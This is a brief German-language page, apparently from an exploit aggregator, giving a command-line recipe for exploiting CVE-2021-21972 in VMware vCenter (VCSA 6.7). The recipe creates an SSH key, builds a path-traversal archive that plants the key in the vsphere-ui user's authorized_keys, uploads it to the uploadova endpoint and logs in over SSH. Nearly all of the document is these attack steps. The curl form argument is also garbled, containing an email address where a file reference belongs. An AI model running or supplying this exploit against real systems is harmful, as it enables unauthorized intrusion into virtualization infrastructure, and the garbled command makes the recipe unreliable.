## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RENINI-CVE-2021-21972
# CVE-2021-21972
CVE-2021-21972
Getestet gegen VMware VCSA 6.7
## SSH-Schlüsselpaar erstellen
root@kitploit:~
ssh-keygen -t rsa -f vcsa.key -N ''
## Tarball mit ../../../../../home/vsphere-ui/.ssh/authorized_keys erstellen
root@kitploit:~
python2 evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f evil.tar authorized_keys
mv evil.tar evil.ova
## evil.ova an den vropspluginui-uploadova-REST-Endpunkt hochladen
root@kitploit:~
curl -k -A "" --form "some-email@example.com;type=text/plain" https://$VCSA_IP/ui/vropspluginui/rest/services/uploadova -H "Accept: application/json"
## Per SSH mit dem hinzugefügten autorisierten Schlüssel zur VCSA verbinden
root@kitploit:~
ssh -i vcsa.key vsphere-ui@$VCSA_IP